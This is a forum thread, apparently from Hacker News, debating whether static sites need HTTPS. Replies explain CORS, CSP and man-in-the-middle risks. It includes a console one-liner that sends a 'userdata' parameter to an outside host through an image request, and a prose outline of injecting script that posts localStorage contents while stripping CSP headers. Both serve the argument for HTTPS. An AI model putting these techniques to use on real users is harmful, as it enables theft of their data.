Why Static Websites Need HTTPS

No need to worry. That static site is probably loading dozens of javascript libraries and mining every click on the page anyway... err, analytics.

I admin a number of different websites. The majority of them are static. I have forced https redirect on some of them. On others I do not.

The only benefit of https I perceive in the case of static public content is that ISPs cannot easily monitor which specific pages on my domains are being visited. With plain http they could.

I don't particularly care if people get MITM'ed when visiting my static sites. If they did so it generally is because they chose to use unsafe public access points ( wifi ). This extends to some degree to all forms of wifi since so many security forms in use on them can be easily broken.

My current understanding is that enterprise encryption using certs with wifi is still secure and cannot currently be broken.

The only other party would could do MITM against normal customers on their own home internet, while using wired connections, is, I believe, the ISP themselves. Random third parties cannot generally do so. If there is some plausible way they can do so I would like to hear it.

If your ISP is MITMing you, I think you have bigger problems then whether they change the content of my static site when you visit it. If they were, they could potentially target your initial download of your browser and downgrade to http to infect your browser so that you never realize after that that https is faked out...

I think there are caching benefits to using plain http. The primary one is so that your ISP can cache your static content and save internet bandwidth globally.

But our personal data is not. So much data is potentially made available from an unencrypted HTTP request.

>Only if the page is originally requested from evil.com or if evil.com is listed in the CORS http header from the legitimate domain.

You have CORS backwards. Domains give other domains permissions to access them in CORS. I think you're thinking of Content-Security-Policy here (which lets a domain specify other domains that may be interacted with from the domain), but I've already mentioned a number of issues with it (the first being that a MITM can just remove that header).

>I tested it on a couple of sites both with http and https. It is not a valid vector of attack. Don't take my word for it. Try it.

If you open example.com and run this in the console:

    (new Image).src = 'https://news.ycombinator.com/y18.gif?userdata=123'

then an HTTP(S) request is triggered. The operator of that domain's server can see a request happened and see the userdata parameter. (If you do it with a URL that doesn't respond with an image, then you may see a warning in the console like "Cross-Origin Read Blocking (CORB) blocked cross-origin response ...", but that warning only means that example.com doesn't get to read the response. The request still happened and the attacker already leaked the userdata.)

>All these technical conversations are really a red herring based upon the untested assumption that modification of page traffic is trivial if the page is served over HTTP. While this is possible it isn't trivial and requires multiple stages of compromise.

If the attacker is the ISP, or controls a wifi router that victims are using, then it's trivial[0].

>Typically man in the middle attacks refer to encrypted traffic, such as HTTPS, instead of plain text traffic.

Wasn't this entire comment chain started from you saying that HTTPS was unnecessary in some certain situation? Everyone is responding to you about attacks that are possible if you decide not to use HTTPS. I think we've lost the plot if you're going to interpret these attacks as if your site is using HTTPS.

> And how would you do that? I have not seen anybody prove they can both MiTM a production site and modify the data in a way that breaks same origin policy

Easy: run a public wireless router (or run an ISP) that people use to connect to HTTP sites. If you want, you can append some code to any javascript file coming through to POST the contents of localStorage (and indexeddb, etc) to a page on the same domain (and that request will go through you, so you see the data). You filter out any Content-Security-Policy headers that might restrict the page from making ajax connections to itself. There's only one domain involved, so same origin policy doesn't affect anything at all in this situation.

[0] http://www.ex-parrot.com/pete/upside-down-ternet.html

> I don't particularly care if people get MITM'ed when visiting my static sites. If they did so it generally is because they chose to use unsafe public access points ( wifi ). This extends to some degree to all forms of wifi since so many security forms in use on them can be easily broken.

While wifi offers little "complete" security, some methods of security, (like implementing HTTPS) require very little work for a relatively large decrease in attack surface